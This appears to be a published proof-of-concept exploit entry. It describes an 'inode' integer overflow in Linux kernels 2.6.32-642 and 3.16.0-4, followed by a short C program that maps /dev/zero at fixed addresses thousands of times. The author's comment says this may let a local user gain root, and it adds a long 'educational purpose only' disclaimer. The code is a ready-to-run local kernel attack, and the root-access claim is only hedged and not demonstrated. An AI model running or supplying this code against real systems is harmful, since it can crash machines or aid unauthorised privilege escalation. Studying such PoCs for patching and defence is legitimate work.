Linux Kernel 2.6.32-642/3.16.0-4 – ‘inode’ Integer Overflow
/* Linux Kernel 2.6.32-642 / 3.16.0-4 'inode' Integer Overflow PoC The inode is a data structure in a Unix-style file system which describes a filesystem object such as a file or a directory. Each inode stores the attributes and disk block locations of the object's data. Filesystem object attributes may include metadata, as well as owner and permission data. INODE can be overflowed by mapping a single file too many times, allowing for a local user to possibly gain root access. Disclaimer: This or previous program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fac that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not Todor Donev's responsibility. Thanks to Maya Hristova and all friends. Suggestions,comments and job offers are welcome! Copyright 2016 (c) Todor Donev Varna, Bulgaria todor.donev@gmail.com https://www.ethical-hacker.org/ https://www.facebook.com/ethicalhackerorg http://pastebin.com/u/hackerscommunity */ #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> void main(){ int fd, i; fd = open("/dev/zero", O_RDONLY); for(i = 0; i < 26999; i++){ mmap((char*)0x00000000 + (0x10000 * i), 1, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0); } } |